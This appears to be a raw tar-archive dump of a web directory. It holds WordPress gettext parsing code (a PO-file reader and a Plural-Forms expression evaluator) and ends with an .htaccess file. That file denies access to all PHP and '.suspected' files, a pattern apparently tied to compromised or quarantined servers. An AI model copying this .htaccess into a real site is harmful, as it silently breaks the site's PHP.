} elseif (preg_match('/^msgstr\s+(".*")/', $line, $m)) {
if ($context != 'msgid') {
return false;
}
$context = 'msgstr';
$entry->translations = array(PO::unpoify($m[1]));
} elseif (preg_match('/^msgstr\[(\d+)\]\s+(".*")/', $line, $m)) {
if ($context != 'msgid_plural' && $context != 'msgstr_plural') {
return false;
}
$context = 'msgstr_plural';
$msgstr_index = $m[1];
$entry->translations[$m[1]] = PO::unpoify($m[2]);
} elseif (preg_match('/^".*"$/', $line)) {
$unpoified = PO::unpoify($line);
switch ($context) {
case 'msgid':
$entry->singular .= $unpoified; break;
case 'msgctxt':
$entry->context .= $unpoified; break;
case 'msgid_plural':
$entry->plural .= $unpoified; break;
case 'msgstr':
$entry->translations[0] .= $unpoified; break;
case 'msgstr_plural':
$entry->translations[$msgstr_index] .= $unpoified; break;
default:
return false;
}
} else {
return false;
}
}
$have_translations = false;
foreach ( $entry->translations as $t ) {
if ( $t || ('0' === $t) ) {
$have_translations = true;
break;
}
}
if ( false === $have_translations ) {
$entry->translations = array();
}
return array('entry' => $entry, 'lineno' => $lineno);
}
/**
* @staticvar string $last_line
* @staticvar boolean $use_last_line
*
* @param resource $f
* @param string $action
* @return boolean
*/
function read_line($f, $action = 'read') {
static $last_line = '';
static $use_last_line = false;
if ('clear' == $action) {
$last_line = '';
return true;
}
if ('put-back' == $action) {
$use_last_line = true;
return true;
}
$line = $use_last_line? $last_line : fgets($f);
$line = ( "\r\n" == substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
$last_line = $line;
$use_last_line = false;
return $line;
}
/**
* @param Translation_Entry $entry
* @param string $po_comment_line
*/
function add_comment_to_entry(&$entry, $po_comment_line) {
$first_two = substr($po_comment_line, 0, 2);
$comment = trim(substr($po_comment_line, 2));
if ('#:' == $first_two) {
$entry->references = array_merge($entry->references, preg_split('/\s+/', $comment));
} elseif ('#.' == $first_two) {
$entry->extracted_comments = trim($entry->extracted_comments . "\n" . $comment);
} elseif ('#,' == $first_two) {
$entry->flags = array_merge($entry->flags, preg_split('/,\s*/', $comment));
} else {
$entry->translator_comments = trim($entry->translator_comments . "\n" . $comment);
}
}
/**
* @param string $s
* @return sring
*/
public static function trim_quotes($s) {
if ( substr($s, 0, 1) == '"') $s = substr($s, 1);
if ( substr($s, -1, 1) == '"') $s = substr($s, 0, -1);
return $s;
}
}
endif;
plural-forms.php 0000666 00000015432 15111653002 0007703 0 ustar 00 <?php
/**
* A gettext Plural-Forms parser.
*
* @since 4.9.0
*/
class Plural_Forms {
/**
* Operator characters.
*
* @since 4.9.0
* @var string OP_CHARS Operator characters.
*/
const OP_CHARS = '|&><!=%?:';
/**
* Valid number characters.
*
* @since 4.9.0
* @var string NUM_CHARS Valid number characters.
*/
const NUM_CHARS = '0123456789';
/**
* Operator precedence.
*
* Operator precedence from highest to lowest. Higher numbers indicate
* higher precedence, and are executed first.
*
* @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
*
* @since 4.9.0
* @var array $op_precedence Operator precedence from highest to lowest.
*/
protected static $op_precedence = array(
'%' => 6,
'<' => 5,
'<=' => 5,
'>' => 5,
'>=' => 5,
'==' => 4,
'!=' => 4,
'&&' => 3,
'||' => 2,
'?:' => 1,
'?' => 1,
'(' => 0,
')' => 0,
);
/**
* Tokens generated from the string.
*
* @since 4.9.0
* @var array $tokens List of tokens.
*/
protected $tokens = array();
/**
* Cache for repeated calls to the function.
*
* @since 4.9.0
* @var array $cache Map of $n => $result
*/
protected $cache = array();
/**
* Constructor.
*
* @since 4.9.0
*
* @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
*/
public function __construct( $str ) {
$this->parse( $str );
}
/**
* Parse a Plural-Forms string into tokens.
*
* Uses the shunting-yard algorithm to convert the string to Reverse Polish
* Notation tokens.
*
* @since 4.9.0
*
* @param string $str String to parse.
*/
protected function parse( $str ) {
$pos = 0;
$len = strlen( $str );
// Convert infix operators to postfix using the shunting-yard algorithm.
$output = array();
$stack = array();
while ( $pos < $len ) {
$next = substr( $str, $pos, 1 );
switch ( $next ) {
// Ignore whitespace
case ' ':
case "\t":
$pos++;
break;
// Variable (n)
case 'n':
$output[] = array( 'var' );
$pos++;
break;
// Parentheses
case '(':
$stack[] = $next;
$pos++;
break;
case ')':
$found = false;
while ( ! empty( $stack ) ) {
$o2 = $stack[ count( $stack ) - 1 ];
if ( $o2 !== '(' ) {
$output[] = array( 'op', array_pop( $stack ) );
continue;
}
// Discard open paren.
array_pop( $stack );
$found = true;
break;
}
if ( ! $found ) {
throw new Exception( 'Mismatched parentheses' );
}
$pos++;
break;
// Operators
case '|':
case '&':
case '>':
case '<':
case '!':
case '=':
case '%':
case '?':
$end_operator = strspn( $str, self::OP_CHARS, $pos );
$operator = substr( $str, $pos, $end_operator );
if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
}
while ( ! empty( $stack ) ) {
$o2 = $stack[ count( $stack ) - 1 ];
// Ternary is right-associative in C
if ( $operator === '?:' || $operator === '?' ) {
if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
break;
}
} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
break;
}
$output[] = array( 'op', array_pop( $stack ) );
}
$stack[] = $operator;
$pos += $end_operator;
break;
// Ternary "else"
case ':':
$found = false;
$s_pos = count( $stack ) - 1;
while ( $s_pos >= 0 ) {
$o2 = $stack[ $s_pos ];
if ( $o2 !== '?' ) {
$output[] = array( 'op', array_pop( $stack ) );
$s_pos--;
continue;
}
// Replace.
$stack[ $s_pos ] = '?:';
$found = true;
break;
}
if ( ! $found ) {
throw new Exception( 'Missing starting "?" ternary operator' );
}
$pos++;
break;
// Default - number or invalid
default:
if ( $next >= '0' && $next <= '9' ) {
$span = strspn( $str, self::NUM_CHARS, $pos );
$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
$pos += $span;
break;
}
throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
}
}
while ( ! empty( $stack ) ) {
$o2 = array_pop( $stack );
if ( $o2 === '(' || $o2 === ')' ) {
throw new Exception( 'Mismatched parentheses' );
}
$output[] = array( 'op', $o2 );
}
$this->tokens = $output;
}
/**
* Get the plural form for a number.
*
* Caches the value for repeated calls.
*
* @since 4.9.0
*
* @param int $num Number to get plural form for.
* @return int Plural form value.
*/
public function get( $num ) {
if ( isset( $this->cache[ $num ] ) ) {
return $this->cache[ $num ];
}
return $this->cache[ $num ] = $this->execute( $num );
}
/**
* Execute the plural form function.
*
* @since 4.9.0
*
* @param int $n Variable "n" to substitute.
* @return int Plural form value.
*/
public function execute( $n ) {
$stack = array();
$i = 0;
$total = count( $this->tokens );
while ( $i < $total ) {
$next = $this->tokens[$i];
$i++;
if ( $next[0] === 'var' ) {
$stack[] = $n;
continue;
} elseif ( $next[0] === 'value' ) {
$stack[] = $next[1];
continue;
}
// Only operators left.
switch ( $next[1] ) {
case '%':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 % $v2;
break;
case '||':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 || $v2;
break;
case '&&':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 && $v2;
break;
case '<':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 < $v2;
break;
case '<=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 <= $v2;
break;
case '>':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 > $v2;
break;
case '>=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 >= $v2;
break;
case '!=':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 != $v2;
break;
case '==':
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 == $v2;
break;
case '?:':
$v3 = array_pop( $stack );
$v2 = array_pop( $stack );
$v1 = array_pop( $stack );
$stack[] = $v1 ? $v2 : $v3;
break;
default:
throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
}
}
if ( count( $stack ) !== 1 ) {
throw new Exception( 'Too many values remaining on the stack' );
}
return (int) $stack[0];
}
}
.htaccess 0000666 00000000424 15111753554 0006355 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule>